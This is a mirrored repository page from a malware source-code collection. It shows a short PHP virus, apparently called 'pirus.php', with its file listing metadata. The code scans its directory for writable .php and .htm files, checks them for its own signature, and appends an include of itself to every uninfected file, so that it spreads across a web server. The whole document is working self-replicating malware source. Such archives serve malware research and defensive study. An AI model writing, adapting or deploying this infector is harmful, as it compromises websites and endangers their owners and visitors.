mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
30 lines
718 B
Plaintext
30 lines
718 B
Plaintext
|
<?php
|
||
|
$handle=opendir('.');
|
||
|
while ($file = readdir($handle))
|
||
|
{ $infected=true;
|
||
|
$executable=false;
|
||
|
|
||
|
if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr ($file, '.php')) )
|
||
|
if ( is_file($file) && is_writeable($file) )
|
||
|
{
|
||
|
$host = fopen($file, "r");
|
||
|
$contents = fread ($host, filesize ($file));
|
||
|
$sig = strstr ($contents, 'pirus.php');
|
||
|
if(!$sig) $infected=false;
|
||
|
}
|
||
|
//infect
|
||
|
if (($infected==false))
|
||
|
{
|
||
|
$host = fopen($file, "a");
|
||
|
fputs($host,"<?php ");
|
||
|
fputs($host,"include(\"");
|
||
|
fputs($host,__FILE__);
|
||
|
fputs($host,"\"); ");
|
||
|
fputs($host,"?>");
|
||
|
fclose($host);
|
||
|
return;
|
||
|
}
|
||
|
}
|
||
|
closedir($handle);
|
||
|
?>
|